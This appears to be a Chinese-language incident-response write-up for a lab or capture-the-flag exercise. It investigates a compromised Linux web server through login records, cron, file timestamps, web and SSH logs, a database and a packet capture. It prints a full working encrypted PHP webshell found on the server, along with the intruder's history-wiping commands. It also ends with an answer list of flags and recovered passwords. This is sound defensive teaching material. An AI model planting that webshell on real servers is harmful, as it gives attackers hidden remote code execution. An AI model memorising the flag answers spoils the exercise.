免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
登录信息查询
假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?
查看用户?查看日志?查看进程?直接拿脚本、工具去扫?
不,都不是
进系统的第一眼,发现主机名为web-server,代表肯定存在WEB应用(一般实际环境中名字不可能随便起,基本都是跟本机器安装的应用/功能有关)
第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,再做其他操作,不然一切都是无用功
w:查看系统信息,用于显示某一时刻用户的行为

USER: 登录账号
TTY : 终端名称
FROM: 远程主机名
LOGIN@: 登录时间
IDLE: 空闲时间
JCPU: 该TTY终端连接的所有进程的占用时间
PCPU: 当前进程(即w项中显示的)的占用时间
WHAT: 当前正在运行进程的命令行
who:查看当前登录用户(tty本地登录 pts远程登录)

last:用于显示用户最近登录信息

root,reboot是系统重启的虚拟用户) | |
pts/* 为 SSH 远程伪终端;tty* 为本地物理控制台 | |
still logged in:当前会话在线crash:会话因系统崩溃异常结束down:系统正常关机 | |
[天+时:分],如771+06:51表示 771 天 6 小时 51 分 |
发现192.168.20.1使用root用户继续登录过,最早登录时间:3.4 09:48,最后一次登录时间:3.20 15:36

查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd

查询可以远程登录的账号信息:awk '/\$1|\$6/{print $1}' /etc/shadow



root用户和wheel用户组
cat /etc/group|grep wheel

usermod -L user:禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel user:删除user用户
userdel -r user:将删除user用户,并且将/home目录下的user目录一并删除



关闭防火墙、selinux
/home/目录远程下载宝塔并安装,目录为/www/目录,日志目录为/www/wwwlogs目录,中间件为nginx
删除了/www/wwwroot/127.0.0.1/目录下的flag1、1、version2.php、pe9.sql
编辑了.api文件(不一定保存了)和.api目录,目录为/www/wwwroot/127.0.0.1/.api,并把/www/wwwroot/127.0.0.1/api目录下的所有文件复制到/www/wwwroot/127.0.0.1/.api目录
编辑了/www/wwwroot/127.0.0.1/.api/mpnotify.php和alinotify.php文件
安装了vim
创建了用户flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ},只不过创建失败,得到一个flag
编辑了/etc/profile,并重新加载配置文件,最后使用env验证是否flag3是否被加载到环境变量中
go_build_untitled.exe文件加执行权限并运行,改名为wp并运行,目录为/root/目录
修改root密码
运行wp
1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效


1. 查看磁盘上永久保存的所有历史命令(直接看文件)
cat ~/.bash_history

2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)
history -r ~/.bash_history

执行 history -c(清空内存)
执行 history -w(用空内存覆盖磁盘文件)

nginx端口:80、888
ftp端口:21
ssh端口:22
邮件端口:25
查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)


/etc/rc.local

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

crontab -l

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/*/etc/crontab/etc/cron.d/*/etc/cron.daily/*/etc/cron.hourly/*/etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
more /etc/cron.daily/* 查看目录下所有文件查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性
得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?
可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件
针对可疑文件可以使用stat进行创建修改时间。
find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-03-18 00:00:00' +%s)" -v end="$(date -d '2024-03-19 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'查找某段时间内修改的文件(mtime):
find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null查找某段时间访问的文件(atime):
find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null查找某段时间内修改属性的文件(ctime):
find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null

日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
分析技巧:1、定位有多少IP在爆破主机的root帐号:grep"Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep"Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么?grep"Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些:grep"Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep"Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
定位有多少IP在爆破主机的root账号:

定位有哪些IP在爆破:

爆破用户名字典是什么?

登录成功的IP有哪些:

登录成功的日期、用户名、IP:


得出结论:
3.20 14:30:21 192.168.20.1第一次连接ssh并成功登录
3.20 15:04:22 192.168.20.1连接ssh
3.20 15:36:25 192.168.20.1连接ssh失败
3.20 15:36:28 192.168.20.1最后一次连接ssh并成功登录
可见,入口点不是SSH爆破进来的
分析宝塔日志
列出当天访问次数最多的IP命令:cut -d- -f 1 /www/wwwlogs/127.0.0.1.log|uniq -c | sort -rn | head -20

查看当天有多少个IP访问:awk '{print $1}' /www/wwwlogs/127.0.0.1.log|sort|uniq|wc -l

查看每一个IP访问了多少个页面:awk '{++S[$1]} END {for (a in S) print a,S[a]}' /www/wwwlogs/127.0.0.1.log

将每个IP访问的页面数进行从小到大排序:awk '{++S[$1]} END {for (a in S) print S[a],a}' /www/wwwlogs/127.0.0.1.log | sort -n

查看某一个IP访问了哪些页面并统计出次数:grep ^192.168.20.1 /www/wwwlogs/127.0.0.1.log | awk '{print $1,$7}' | sort | uniq -c|sort -nr

查看某一个页面被哪些IP访问并统计出次数:grep "/version2.php" /www/wwwlogs/127.0.0.1.log | awk '{print $1,$7}' | sort | uniq -c|sort -nr

查看某个IP第一次和最后一次访问时间以及访问路径:第一次:grep 192.168.20.131 /www/wwwlogs/127.0.0.1.log | awk '{print $4,$7}' | sort|head -1最后一次:grep 192.168.20.131 /www/wwwlogs/127.0.0.1.log | awk '{print $4,$7}' | sort|tail -1

查看状态码、访问次数、访问路径、访问IP:cat /www/wwwlogs/127.0.0.1.log |awk '{print $1,$7,$9}'|sort|uniq -c|sort -rn|more

文件流量统计:awk '{sum_total[$7] += $10} $9==200 {sum_200[$7] += $10} END{for(i in sum_total) print "总流量:"sum_total[i]" | 200成功流量:"sum_200[i]" | 路径:"i}' 127.0.0.1.log | sort -rn -k2 -t:

URL访问量统计:cat 127.0.0.1.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more

192.168.20.1:
访问了317个页面,其中/index.php?user-app-register页面76次,/version2.php页面48次,状态码均为200,两个页面流量最大
第一次访问:2024.03.07 12:07:05
最后一次访问:2024.03.20 15:36:56
/index.php?bank-master和/index.php?course-master各四次
192.168.20.131:
访问了71个页面,其中/index.php?user-app-register页面76次,状态码均为200
第一次访问:2024.03.07 15:06:21
最后一次访问:2024.03.07 15:39:38


















phpmyadmin中得到信息:
x2_block表:出现典型的一句话木马,密码为Network2020,是一个注册页面
x2_user表:出现四个用户:
解密网站:https://www.somd5.com/
peadmin:Network@2020,注册时间:2016 年 08 月 21 日 00:00:00,注册IP是127.0.0.1,权限为管理员
教师管理员:111111,注册时间:2016-08-21 00:00:00,注册IP是127.0.0.1,权限为教师
zgsf:密码没解出来(af0c68603004a1b5af4d87a71a813057),注册时间:2024-03-07 07:06:58,注册IP是192.168.20.131,权限为普通用户
zgsfAdmin:密码没解出来(ed2b3e3ce2425550d8bfdea8b80cc89a),注册时间:2024-03-07 07:23:53,注册IP是192.168.20.131,权限为普通用户
x2_user_group表:1为管理员,8为普通用户,9为教师
































访问/flag1,内容为flag1{Network@_2020_Hack}



<?php@error_reporting(0);session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];classC{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>





运行了ll -a命令,确认shell.php成功修改为version2.php





后续version2.php,没解密出来,content,进行base64解码和AES解密,解出来是乱码,可能是k不对
pcap分析:post访问/index.php?user-app-register,木马连接,连接密码为Network2020post访问/index.php?user-app-register,运行了ll -a命令post访问/index.php?user-app-register,往/www/wwwroot/127.0.0.1/flag1文件写入内容:#Halo AntSword!post访问/index.php?user-app-register,运行了ll -a命令,查看flag1文件是否成功写入post访问/index.php?user-app-register,查看flag1文件内容post访问/index.php?user-app-register,往/www/wwwroot/127.0.0.1/flag1文件写入内容:flag1{Network@_2020_Hack}post访问/index.php?user-app-register,查看flag1文件内容post访问/index.php?user-app-register,执行uname -a命令post访问/index.php?user-app-register,执行命令:cd "/www/wwwroot/127.0.0.1";cd /www/wwwroot/127.0.0.1/;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";tar flag1;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";/bin/bashj;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";/bin/bash;echo de171;pwd;echo 0c89fddaGET访问/flag1,内容为flag1{Network@_2020_Hack}post访问/index.php?user-app-register,运行了ll -a命令post访问/index.php?user-app-register,写入shell.php木马post访问/index.php?user-app-register,查看shell.php是否成功写入post访问/index.php?user-app-register,shell.php修改为version2.phppost访问/index.php?user-app-register,运行了ll -a命令,确认shell.php成功修改为version2.phppost访问/index.php?user-app-register,查看version2.php文件内容GET访问version.php,404GET访问version2.php,200
WEB网站
地址:http://192.168.137.140/index.php

可以看到,有登录和注册页面
注册:http://192.168.137.140/index.php?user-app-register

登录:http://192.168.137.140/index.php?user-app-login

前面已知:/index.php?user-app-register页面存在问题,是注册页面,那是怎么把木马写入到注册页面的?
但是注册的账号密码破解不出来,那怎么办呢?
改密码,把已知账号的密文直接替换到注册的两个账号上面


之前在WEB网站日志中除了注册地址,还发现了一个地址:/index.php?bank-master

假设:这里通过爆破得知用户名密码:peadmin:Network@2020


/www/wwwroot/127.0.0.1/.api/mpnotify.php和alinotify.php文件

提交攻击者IP?
192.168.20.1
提交攻击者修改的管理员密码(明文)
Network@2020
提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
index.php?user-app-register
提交Webshell连接密码
Network2020
提交数据包的flag1
flag1{Network@_2020_Hack}
提交攻击者使用的后续上传的木马文件名称
version2.php
提交攻击者隐藏的flag2
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
提交攻击者隐藏的flag3
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

2024.3.7 07:06:58 192.168.20.131 注册zgsf2024.3.7 07:23:53 192.168.20.131 注册zgsfAdmin2024.3.7 09:48 192.168.20.1 登录root用户2024.3.7 15:06:25 192.168.20.131第一次访问/index.php?user-app-register页面2024.03.07 12:05:16 192.168.20.1第一次访问phpmyadmin2024.03.07 12:07:05 192.168.20.1 第一次访问/index.php?user-app-register页面2024.03.07 15:23:53 192.168.20.131最后一次访问/index.php?user-app-register页面2024.03.07 12:25:26 192.168.20.1第一次访问/index.php?bank-master页面(后台页面),应该是弱口令进来的,这个页面访问次数很少,之后添加标签,然后写后门,至于有没有修改密码,没看出来2024.03.07 12:30:04 192.168.20.1最后一次访问phpmyadmin2024.3.20 06:33:37 192.168.20.1 第一次访问蚁剑后门2024.3.20 06:37:25 192.168.20.1 写入shell.php木马2024.3.20 06:37:45 192.168.20.1 shell.php修改为version2.php2024.3.20 14:30:21 192.168.20.1连接ssh并成功登录2024.3.20 14:38:27 192.168.20.1第一次访问/version2.php2024.3.20 14:40:34 192.168.20.1最后一次访问/version2.php2024.3.20 14:52:24 192.168.20.1最后一次访问/index.php?bank-master页面(后台页面)2024.3.20 14:55:00 修改mpnotify.php文件2024.3.20 14:57:27 修改alinotify.php文件创建flag3用户失败2024.3.20 15:03:07 修改/etc/profile文件,添加flag3内容,并且修改了root密码2024.3.20 15:04:22 192.168.20.1连接ssh2024.3.20 15:36:25 192.168.20.1连接ssh失败2024.3.20 15:36:28 192.168.20.1最后一次连接ssh并成功登录2024.03.20 15:36:56 192.168.20.1最后一次访问/index.php?user-app-register页面
zgsf、zgsfAdmin如果不是自行创建的,需删掉,如果是,需修改密码
进行常规安全检查、杀毒,进行全面主机排查
检查主机服务是否存在其他漏洞:mysql、宝塔、PHPEMS、FTP、SSH、邮件等
配置防火墙,设置规则
网上找模板
公司有特定模板
使用工具生成(只是入侵检测,无后续善后工作,如果需要善后工作需要自己补充)
https://github.com/s1g0day/ReportGenX